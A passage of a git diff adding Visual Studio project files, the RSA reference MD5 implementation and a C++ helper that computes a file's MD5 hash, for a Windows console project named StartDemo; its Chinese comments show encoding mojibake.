<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CRegOperate.cpp" />
|
||||
<ClCompile Include="md5.cpp" />
|
||||
<ClCompile Include="md5file.cpp" />
|
||||
<ClCompile Include="StartDemo.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="CRegOperate.h" />
|
||||
<ClInclude Include="md5.h" />
|
||||
<ClInclude Include="md5file.h" />
|
||||
<ClInclude Include="md5global.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="StartDemo.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
56
StartDemo/StartDemo/StartDemo.vcxproj.filters
Normal file
@@ -0,0 +1,56 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="算法">
|
||||
<UniqueIdentifier>{dc0bb3e5-2f00-43a3-a484-ea9ea63595c0}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="StartDemo.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CRegOperate.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="md5file.cpp">
|
||||
<Filter>算法</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="md5.cpp">
|
||||
<Filter>算法</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="CRegOperate.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5file.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5global.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="StartDemo.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
4
StartDemo/StartDemo/StartDemo.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
314
StartDemo/StartDemo/md5.cpp
Normal file
@@ -0,0 +1,314 @@
|
||||
/* MD5.C - RSA Data Security, Inc., MD5 message-digest algorithm
|
||||
*/
|
||||
|
||||
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
||||
rights reserved.
|
||||
|
||||
License to copy and use this software is granted provided that it
|
||||
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
||||
Algorithm" in all material mentioning or referencing this software
|
||||
or this function.
|
||||
|
||||
License is also granted to make and use derivative works provided
|
||||
that such works are identified as "derived from the RSA Data
|
||||
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
||||
mentioning or referencing the derived work.
|
||||
|
||||
RSA Data Security, Inc. makes no representations concerning either
|
||||
the merchantability of this software or the suitability of this
|
||||
software for any particular purpose. It is provided "as is"
|
||||
without express or implied warranty of any kind.
|
||||
|
||||
These notices must be retained in any copies of any part of this
|
||||
documentation and/or software.
|
||||
*/
|
||||
|
||||
#include "md5file.h"
|
||||
#include "md5.h"
|
||||
|
||||
/* Constants for MD5Transform routine.
|
||||
*/
|
||||
|
||||
#define S11 7
|
||||
#define S12 12
|
||||
#define S13 17
|
||||
#define S14 22
|
||||
#define S21 5
|
||||
#define S22 9
|
||||
#define S23 14
|
||||
#define S24 20
|
||||
#define S31 4
|
||||
#define S32 11
|
||||
#define S33 16
|
||||
#define S34 23
|
||||
#define S41 6
|
||||
#define S42 10
|
||||
#define S43 15
|
||||
#define S44 21
|
||||
|
||||
static void MD5Transform(UINT4[4], unsigned char[64]);
|
||||
static void Encode(unsigned char *, UINT4 *, unsigned int);
|
||||
static void Decode(UINT4 *, unsigned char *, unsigned int);
|
||||
static void MD5_memcpy(POINTER, POINTER, unsigned int);
|
||||
static void MD5_memset(POINTER, int, unsigned int);
|
||||
|
||||
static unsigned char PADDING[64] = {
|
||||
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
/* F, G, H and I are basic MD5 functions.
|
||||
*/
|
||||
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
|
||||
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
|
||||
#define H(x, y, z) ((x) ^ (y) ^ (z))
|
||||
#define I(x, y, z) ((y) ^ ((x) | (~z)))
|
||||
|
||||
/* ROTATE_LEFT rotates x left n bits.
|
||||
*/
|
||||
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
|
||||
|
||||
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
|
||||
Rotation is separate from addition to prevent recomputation.
|
||||
*/
|
||||
#define FF(a, b, c, d, x, s, ac) { \
|
||||
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define GG(a, b, c, d, x, s, ac) { \
|
||||
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define HH(a, b, c, d, x, s, ac) { \
|
||||
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define II(a, b, c, d, x, s, ac) { \
|
||||
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
|
||||
/* MD5 initialization. Begins an MD5 operation, writing a new context.
|
||||
*/
|
||||
void MD5Init(MD5_CTX *context) /* context */
|
||||
{
|
||||
context->count[0] = context->count[1] = 0;
|
||||
/* Load magic initialization constants.
|
||||
*/
|
||||
context->state[0] = 0x67452301;
|
||||
context->state[1] = 0xefcdab89;
|
||||
context->state[2] = 0x98badcfe;
|
||||
context->state[3] = 0x10325476;
|
||||
}
|
||||
|
||||
/* MD5 block update operation. Continues an MD5 message-digest
|
||||
operation, processing another message block, and updating the
|
||||
context.
|
||||
*/
|
||||
void MD5Update(MD5_CTX *context, unsigned char *input, unsigned int inputLen)
|
||||
{
|
||||
unsigned int i, index, partLen;
|
||||
|
||||
/* Compute number of bytes mod 64 */
|
||||
index = (unsigned int)((context->count[0] >> 3) & 0x3F);
|
||||
|
||||
/* Update number of bits */
|
||||
if ((context->count[0] += ((UINT4)inputLen << 3))
|
||||
< ((UINT4)inputLen << 3))
|
||||
context->count[1]++;
|
||||
context->count[1] += ((UINT4)inputLen >> 29);
|
||||
|
||||
partLen = 64 - index;
|
||||
|
||||
/* Transform as many times as possible.
|
||||
*/
|
||||
if (inputLen >= partLen) {
|
||||
MD5_memcpy
|
||||
((POINTER)&context->buffer[index], (POINTER)input, partLen);
|
||||
MD5Transform(context->state, context->buffer);
|
||||
|
||||
for (i = partLen; i + 63 < inputLen; i += 64)
|
||||
MD5Transform(context->state, &input[i]);
|
||||
|
||||
index = 0;
|
||||
}
|
||||
else
|
||||
i = 0;
|
||||
|
||||
/* Buffer remaining input */
|
||||
MD5_memcpy
|
||||
((POINTER)&context->buffer[index], (POINTER)&input[i],
|
||||
inputLen - i);
|
||||
}
|
||||
|
||||
/* MD5 finalization. Ends an MD5 message-digest operation, writing the
|
||||
the message digest and zeroizing the context.
|
||||
*/
|
||||
void MD5Final(unsigned char digest[16], MD5_CTX *context)
|
||||
{
|
||||
unsigned char bits[8];
|
||||
unsigned int index, padLen;
|
||||
|
||||
/* Save number of bits */
|
||||
Encode(bits, context->count, 8);
|
||||
|
||||
/* Pad out to 56 mod 64.
|
||||
*/
|
||||
index = (unsigned int)((context->count[0] >> 3) & 0x3f);
|
||||
padLen = (index < 56) ? (56 - index) : (120 - index);
|
||||
MD5Update(context, PADDING, padLen);
|
||||
|
||||
/* Append length (before padding) */
|
||||
MD5Update(context, bits, 8);
|
||||
|
||||
/* Store state in digest */
|
||||
Encode(digest, context->state, 16);
|
||||
|
||||
/* Zeroize sensitive information.
|
||||
*/
|
||||
MD5_memset((POINTER)context, 0, sizeof(*context));
|
||||
}
|
||||
|
||||
/* MD5 basic transformation. Transforms state based on block.
|
||||
*/
|
||||
static void MD5Transform(UINT4 state[4], unsigned char block[64])
|
||||
{
|
||||
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
|
||||
|
||||
Decode(x, block, 64);
|
||||
|
||||
/* Round 1 */
|
||||
FF(a, b, c, d, x[0], S11, 0xd76aa478); /* 1 */
|
||||
FF(d, a, b, c, x[1], S12, 0xe8c7b756); /* 2 */
|
||||
FF(c, d, a, b, x[2], S13, 0x242070db); /* 3 */
|
||||
FF(b, c, d, a, x[3], S14, 0xc1bdceee); /* 4 */
|
||||
FF(a, b, c, d, x[4], S11, 0xf57c0faf); /* 5 */
|
||||
FF(d, a, b, c, x[5], S12, 0x4787c62a); /* 6 */
|
||||
FF(c, d, a, b, x[6], S13, 0xa8304613); /* 7 */
|
||||
FF(b, c, d, a, x[7], S14, 0xfd469501); /* 8 */
|
||||
FF(a, b, c, d, x[8], S11, 0x698098d8); /* 9 */
|
||||
FF(d, a, b, c, x[9], S12, 0x8b44f7af); /* 10 */
|
||||
FF(c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
|
||||
FF(b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
|
||||
FF(a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
|
||||
FF(d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
|
||||
FF(c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
|
||||
FF(b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
|
||||
|
||||
/* Round 2 */
|
||||
GG(a, b, c, d, x[1], S21, 0xf61e2562); /* 17 */
|
||||
GG(d, a, b, c, x[6], S22, 0xc040b340); /* 18 */
|
||||
GG(c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
|
||||
GG(b, c, d, a, x[0], S24, 0xe9b6c7aa); /* 20 */
|
||||
GG(a, b, c, d, x[5], S21, 0xd62f105d); /* 21 */
|
||||
GG(d, a, b, c, x[10], S22, 0x2441453); /* 22 */
|
||||
GG(c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
|
||||
GG(b, c, d, a, x[4], S24, 0xe7d3fbc8); /* 24 */
|
||||
GG(a, b, c, d, x[9], S21, 0x21e1cde6); /* 25 */
|
||||
GG(d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
|
||||
GG(c, d, a, b, x[3], S23, 0xf4d50d87); /* 27 */
|
||||
|
||||
GG(b, c, d, a, x[8], S24, 0x455a14ed); /* 28 */
|
||||
GG(a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
|
||||
GG(d, a, b, c, x[2], S22, 0xfcefa3f8); /* 30 */
|
||||
GG(c, d, a, b, x[7], S23, 0x676f02d9); /* 31 */
|
||||
GG(b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
|
||||
|
||||
/* Round 3 */
|
||||
HH(a, b, c, d, x[5], S31, 0xfffa3942); /* 33 */
|
||||
HH(d, a, b, c, x[8], S32, 0x8771f681); /* 34 */
|
||||
HH(c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
|
||||
HH(b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
|
||||
HH(a, b, c, d, x[1], S31, 0xa4beea44); /* 37 */
|
||||
HH(d, a, b, c, x[4], S32, 0x4bdecfa9); /* 38 */
|
||||
HH(c, d, a, b, x[7], S33, 0xf6bb4b60); /* 39 */
|
||||
HH(b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
|
||||
HH(a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
|
||||
HH(d, a, b, c, x[0], S32, 0xeaa127fa); /* 42 */
|
||||
HH(c, d, a, b, x[3], S33, 0xd4ef3085); /* 43 */
|
||||
HH(b, c, d, a, x[6], S34, 0x4881d05); /* 44 */
|
||||
HH(a, b, c, d, x[9], S31, 0xd9d4d039); /* 45 */
|
||||
HH(d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
|
||||
HH(c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
|
||||
HH(b, c, d, a, x[2], S34, 0xc4ac5665); /* 48 */
|
||||
|
||||
/* Round 4 */
|
||||
II(a, b, c, d, x[0], S41, 0xf4292244); /* 49 */
|
||||
II(d, a, b, c, x[7], S42, 0x432aff97); /* 50 */
|
||||
II(c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
|
||||
II(b, c, d, a, x[5], S44, 0xfc93a039); /* 52 */
|
||||
II(a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
|
||||
II(d, a, b, c, x[3], S42, 0x8f0ccc92); /* 54 */
|
||||
II(c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
|
||||
II(b, c, d, a, x[1], S44, 0x85845dd1); /* 56 */
|
||||
II(a, b, c, d, x[8], S41, 0x6fa87e4f); /* 57 */
|
||||
II(d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
|
||||
II(c, d, a, b, x[6], S43, 0xa3014314); /* 59 */
|
||||
II(b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
|
||||
II(a, b, c, d, x[4], S41, 0xf7537e82); /* 61 */
|
||||
II(d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
|
||||
II(c, d, a, b, x[2], S43, 0x2ad7d2bb); /* 63 */
|
||||
II(b, c, d, a, x[9], S44, 0xeb86d391); /* 64 */
|
||||
|
||||
state[0] += a;
|
||||
state[1] += b;
|
||||
state[2] += c;
|
||||
state[3] += d;
|
||||
|
||||
/* Zeroize sensitive information.
|
||||
*/
|
||||
MD5_memset((POINTER)x, 0, sizeof(x));
|
||||
}
|
||||
|
||||
/* Encodes input (UINT4) into output (unsigned char). Assumes len is
|
||||
a multiple of 4.
|
||||
*/
|
||||
static void Encode(unsigned char *output, UINT4 *input, unsigned int len)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for (i = 0, j = 0; j < len; i++, j += 4) {
|
||||
output[j] = (unsigned char)(input[i] & 0xff);
|
||||
output[j + 1] = (unsigned char)((input[i] >> 8) & 0xff);
|
||||
output[j + 2] = (unsigned char)((input[i] >> 16) & 0xff);
|
||||
output[j + 3] = (unsigned char)((input[i] >> 24) & 0xff);
|
||||
}
|
||||
}
|
||||
|
||||
/* Decodes input (unsigned char) into output (UINT4). Assumes len is
|
||||
a multiple of 4.
|
||||
*/
|
||||
static void Decode(UINT4 *output, unsigned char *input, unsigned int len)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for (i = 0, j = 0; j < len; i++, j += 4)
|
||||
output[i] = ((UINT4)input[j]) | (((UINT4)input[j + 1]) << 8) |
|
||||
(((UINT4)input[j + 2]) << 16) | (((UINT4)input[j + 3]) << 24);
|
||||
}
|
||||
|
||||
/* Note: Replace "for loop" with standard memcpy if possible.
|
||||
*/
|
||||
|
||||
static void MD5_memcpy(POINTER output, POINTER input, unsigned int len)
|
||||
{
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
output[i] = input[i];
|
||||
}
|
||||
|
||||
/* Note: Replace "for loop" with standard memset if possible.
|
||||
*/
|
||||
static void MD5_memset(POINTER output, int value, unsigned int len)
|
||||
{
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
((char *)output)[i] = (char)value;
|
||||
}
|
42
StartDemo/StartDemo/md5.h
Normal file
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
/* MD5.H - header file for MD5C.C
|
||||
*/
|
||||
|
||||
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
||||
rights reserved.
|
||||
|
||||
License to copy and use this software is granted provided that it
|
||||
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
||||
Algorithm" in all material mentioning or referencing this software
|
||||
or this function.
|
||||
|
||||
License is also granted to make and use derivative works provided
|
||||
that such works are identified as "derived from the RSA Data
|
||||
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
||||
mentioning or referencing the derived work.
|
||||
|
||||
RSA Data Security, Inc. makes no representations concerning either
|
||||
the merchantability of this software or the suitability of this
|
||||
software for any particular purpose. It is provided "as is"
|
||||
without express or implied warranty of any kind.
|
||||
|
||||
These notices must be retained in any copies of any part of this
|
||||
documentation and/or software.
|
||||
*/
|
||||
|
||||
#ifndef MD5_H
|
||||
#define MD5_H
|
||||
|
||||
/* MD5 context. */
|
||||
typedef struct {
|
||||
UINT4 state[4]; /* state (ABCD) */
|
||||
UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */
|
||||
unsigned char buffer[64]; /* input buffer */
|
||||
} MD5_CTX;
|
||||
|
||||
void MD5Init(MD5_CTX *);
|
||||
void MD5Update(MD5_CTX *, unsigned char *, unsigned int);
|
||||
void MD5Final(unsigned char[16], MD5_CTX *);
|
||||
|
||||
#endif
|
||||
|
70
StartDemo/StartDemo/md5file.cpp
Normal file
@@ -0,0 +1,70 @@
|
||||
#include "md5file.h"
|
||||
|
||||
#include "md5.h"
|
||||
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <memory>
|
||||
#include <iomanip>
|
||||
#include <exception>
|
||||
|
||||
std::string getFileMD5(const std::string& filename)
|
||||
{
|
||||
std::ifstream fin(filename.c_str(), std::ifstream::in | std::ifstream::binary);
|
||||
if (fin)
|
||||
{
|
||||
MD5_CTX context;
|
||||
MD5Init(&context);
|
||||
|
||||
fin.seekg(0, fin.end);
|
||||
const auto fileLength = fin.tellg();
|
||||
fin.seekg(0, fin.beg);
|
||||
|
||||
const int bufferLen = 8192;
|
||||
std::unique_ptr<unsigned char[]> buffer{ new unsigned char[bufferLen] {} };
|
||||
unsigned long long totalReadCount = 0;
|
||||
decltype(fin.gcount()) readCount = 0;
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>MD5Update()<29><><EFBFBD><EFBFBD>MD5ֵ
|
||||
while (fin.read(reinterpret_cast<char*>(buffer.get()), bufferLen))
|
||||
{
|
||||
readCount = fin.gcount();
|
||||
totalReadCount += readCount;
|
||||
MD5Update(&context, buffer.get(), static_cast<unsigned int>(readCount));
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>ζ<EFBFBD><CEB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
readCount = fin.gcount();
|
||||
if (readCount > 0)
|
||||
{
|
||||
totalReadCount += readCount;
|
||||
MD5Update(&context, buffer.get(), static_cast<unsigned int>(readCount));
|
||||
}
|
||||
fin.close();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>
|
||||
if (totalReadCount != fileLength)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "FATAL ERROR: read " << filename << " failed!" << std::ends;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
unsigned char digest[16];
|
||||
MD5Final(digest, &context);
|
||||
|
||||
// <20><>ȡMD5
|
||||
std::ostringstream oss;
|
||||
for (int i = 0; i < 16; ++i)
|
||||
{
|
||||
oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<unsigned int>(digest[i]);
|
||||
}
|
||||
oss << std::ends;
|
||||
|
||||
return std::move(oss.str());
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "FATAL ERROR: " << filename << " can't be opened" << std::ends;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
}
|
12
StartDemo/StartDemo/md5file.h
Normal file
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
#ifndef MD5FILE_H
|
||||
#define MD5FILE_H
|
||||
|
||||
#include <string>
|
||||
